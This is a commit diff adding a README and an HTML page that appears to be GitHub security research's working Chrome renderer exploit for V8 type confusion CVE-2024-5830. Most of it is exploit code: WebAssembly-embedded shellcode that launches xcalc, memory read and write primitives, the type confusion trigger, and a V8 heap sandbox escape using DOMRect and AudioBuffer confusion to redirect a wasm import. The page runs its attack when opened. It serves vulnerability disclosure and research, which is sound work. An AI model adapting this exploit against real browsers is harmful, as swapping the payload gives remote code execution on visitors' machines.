Merge pull request #845 from github/chrome_5830

Blog material
github · Aug 13, 2024 · f2b2910 · f2b2910
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diff --git a/SecurityExploits/Chrome/v8/CVE_2024_5830/README.md b/SecurityExploits/Chrome/v8/CVE_2024_5830/README.md
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+## V8 type confusion CVE-2024-5830
+
+The analysis of this bug can be found [here](https://github.blog/2024-08-13-from-object-transition-to-rce-in-the-chrome-renderer). 
+
+The exploit here is tested on the official build of Chrome version 125.0.6422.112, on Ubuntu 22.04. The following build config was used to build Chromium:
+
+```
+is_debug = false
+symbol_level = 1
+blink_symbol_level = 1
+dcheck_always_on = false
+is_official_build = true
+chrome_pgo_phase = 0
+v8_symbol_level = 1
+```
+
+If successful, on Ubuntu 22.04, it should call launch `xcalc` when `calc.html` is opened in Chrome.
+
+Shell code and some addresses may need changing on other platforms.
+
+
diff --git a/SecurityExploits/Chrome/v8/CVE_2024_5830/calc.html b/SecurityExploits/Chrome/v8/CVE_2024_5830/calc.html
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+<html>
+<body>
+  <script>
+
+const importObject = {
+  imports: { imported_func : Math.sin},
+};
+//Generated using import_shell.js
+var wasmBuffer = new Uint8Array([0,97,115,109,1,0,0,0,1,16,3,80,0,94,124,1,96,1,124,1,124,96,0,1,99,0,2,25,1,7,105,109,112,111,114,116,115,13,105,109,112,111,114,116,101,100,95,102,117,110,99,0,1,3,3,2,1,2,7,21,2,4,109,97,105,110,0,1,10,109,97,107,101,95,97,114,114,97,121,0,2,10,136,2,2,6,0,32,0,16,0,11,254,1,1,1,99,0,65,18,251,7,0,33,0,32,0,65,0,68,49,246,49,210,49,192,235,29,251,14,0,32,0,65,1,68,104,108,99,0,0,144,235,32,251,14,0,32,0,65,2,68,104,47,120,99,97,88,235,32,251,14,0,32,0,65,3,68,104,47,98,105,110,91,235,32,251,14,0,32,0,65,4,68,144,144,72,193,224,32,235,32,251,14,0,32,0,65,5,68,72,1,216,80,84,95,235,32,251,14,0,32,0,65,6,68,86,87,84,94,144,144,235,32,251,14,0,32,0,65,7,68,104,58,48,46,48,144,235,32,251,14,0,32,0,65,8,68,104,76,65,89,61,88,235,32,251,14,0,32,0,65,9,68,104,68,73,83,80,91,235,32,251,14,0,32,0,65,10,68,144,72,193,224,32,144,235,32,251,14,0,32,0,65,11,68,72,1,216,80,84,144,235,32,251,14,0,32,0,65,12,68,65,90,82,65,82,84,235,32,251,14,0,32,0,65,13,68,90,184,59,0,0,0,235,32,251,14,0,32,0,65,14,68,15,5,90,49,210,82,235,32,251,14,0,32,0,11,0,26,4,110,97,109,101,1,19,2,1,4,109,97,105,110,2,10,109,97,107,101,95,97,114,114,97,121]
+);
+var module = new WebAssembly.Module(wasmBuffer);
+var instance = new WebAssembly.Instance(module, importObject);
+var func = instance.exports.make_array;
+func();
+
+var view = new ArrayBuffer(24);
+var dblArr = new Float64Array(view);
+var intView = new Uint32Array(view);
+var bigIntView = new BigInt64Array(view);
+
+function ftoi32(f) {
+    dblArr[0] = f;
+    return [intView[0], intView[1]];
+}
+
+function i32tof(i1, i2) {
+    intView[0] = i1;
+    intView[1] = i2;
+    return dblArr[0];
+}
+
+function itof(i) {
+    bigIntView = BigInt(i);
+    return dblArr[0];
+}
+
+function ftoi(f) {
+    dblArr[0] = f;
+    return bigIntView[0];
+}
+
+
+function addrOf(obj) {
+  oobObjArr[0] = obj;
+  var addrDbl = corrupted_arr[9];
+  return ftoi32(addrDbl)[0];
+}
+
+function read(addr) {
+  var old_value = corrupted_arr[oobOffset];
+  corrupted_arr[oobOffset] = i32tof(addr,2);
+  var oldAddr = ftoi32(old_value);
+  var out = ftoi32(oobDblArr[0]);
+  corrupted_arr[oobOffset] = old_value;
+  return out;
+}
+
+function write(addr, val1, val2) {
+  var old_value = corrupted_arr[oobOffset];
+  corrupted_arr[oobOffset] = i32tof(addr,2);
+  oobDblArr[0] = i32tof(val1, val2);
+  corrupted_arr[oobOffset] = old_value;
+  return;
+}
+
+var num = 3;
+var nameAddr = 0xdc5;
+var dblArrMap = 0x25510d;
+var objArrMap = 0x25518d;
+
+var nameAddrF = i32tof(nameAddr, nameAddr);
+var fakeDblArray = [1.1,2.2];
+var oobDblArr = [2.2];
+var oobObjArr = [view];
+oobObjArr[0] = 0x4242;
+
+var fakeDblArrayAddr = 0x4881d;
+
+var fakeDblArrayEle = fakeDblArrayAddr - 0x18;
+fakeDblArray[0] = i32tof(dblArrMap, 0x725);
+fakeDblArray[1] = i32tof(fakeDblArrayEle, 0x100);
+
+
+var x = {};
+for (let i = 0; i < num; i++) {
+  x['a' + i] = 1;
+}
+var x1 = {};
+for (let i = 0; i < num; i++) {
+  x1['a' + i] = 1;
+}
+x1.prop = 1;
+x.__defineGetter__("prop", function() {
+  let obj = {};
+  obj.a0 = 1.5;
+  for (let i = 0; i < 1024 + 512; i++) {
+    let tmp = {};
+    tmp.a0 = 1;
+    for (let j = 1; j < num; j++) {
+      tmp['a' + j] = 1;
+    }
+    tmp['p' + i] = 1;
+  }
+  return 4;
+});
+x.z = 1;
+delete x.z;
+var y = {...x};
+
+var arr = new Array(256);
+for (let i = 0; i < 7; i++) {
+  arr[i] = new Array(256);
+  for (let j = 0; j < arr[i].length; j++) {
+    arr[i][j] = nameAddrF;
+  }
+}
+
+for (let j = 0; j < 7; j++) {
+  let a = arr[j];
+  for (let i = 0; i < 256; i++) {
+    a[i] = i32tof(nameAddr, fakeDblArrayEle + 0x8);//i32tof(fakeDblArrayEle + 0xc, nameAddr);
+  }
+}
+
+var z = {};
+z.__proto__ = y;
+z.p = 1;
+z.p;
+
+var oobOffset = 7;
+//_ZN2v88internal11TrustedCage5base_E - _ZN5blink17V8DOMRectReadOnly18wrapper_type_info_E
+var trustedOffset = 0x12e9d0;
+
+var corrupted_arr = y.name;
+
+function getInstance(obj) {
+  let addr = addrOf(obj);
+  return read(addr + 0x10);
+}
+//v8 heap sandbox escape
+var domRect = new DOMRect(1.1,2.3,3.3,4.4);
+var node = new AudioBuffer({length: 3000, sampleRate: 30000, numberOfChannels : 2});
+var channel = node.getChannelData(0);
+var nodeInstance = getInstance(node);
+var channelAddr = addrOf(channel);
+var channelInstance = read(channelAddr + 0x3c);
+var rectAddr = addrOf(domRect);
+var rectInstance = read(rectAddr + 0x10);
+var rectType = read(rectAddr + 0x8);
+
+write(rectAddr + 0x10, rectType[0], rectType[1]);
+//V8DOMRectReadOnly18wrapper_type_info_E
+var typeInfo = ftoi32(domRect.width);
+//Confusion between DOMRect and DOMArrayBuffer allows raw_base_addr_ ptr to be overwritten, causing arbitrary rw
+write(rectAddr + 0x10, channelInstance[0], channelInstance[1]);
+var rawBase = ftoi32(domRect.x);
+var trustedBase = i32tof(typeInfo[0] + trustedOffset, typeInfo[1]);
+//Set address to read and write
+domRect.x = trustedBase;
+var dst = new Float32Array(view);
+//copyFromChannel and copyToChannel can then be used for arbitrary rw
+node.copyFromChannel(dst, 0, 0);
+//dispatch_table_from_imports address
+var trustedCage = intView[1];
+function findImportTarget(startAddr) {
+  var dispatchMap = 0x1f8d;
+  var dstBuffer = new ArrayBuffer(0x1000);
+  var dstFloat = new Float32Array(dstBuffer);
+  var dstInt = new Uint32Array(dstBuffer);
+  domRect.x = i32tof(startAddr, trustedCage);
+  node.copyFromChannel(dstFloat, 0, 0);
+  for (let i = 0; i < dstInt.length; i++) {
+    if (dstInt[i] === 0x1f8d) {
+      return i;
+    }
+  }
+  return -1;
+}
+var startAddr = 0x40b00;
+
+var codeIdx = findImportTarget(startAddr);
+if (codeIdx != -1) {
+  var exported = instance.exports.main;
+  var code = i32tof(startAddr + codeIdx * 4 + 0xc, trustedCage);
+  domRect.x = code;
+  node.copyFromChannel(dst, 0, 0);
+  intView[0] = intView[0] + 0xe + 0x100;
+  node.copyToChannel(dst, 0, 0);
+  intView[0] = 0;
+  node.copyFromChannel(dst,0,0);
+
+  exported();
+  exported();
+}
+</script>
+</body>
+</html>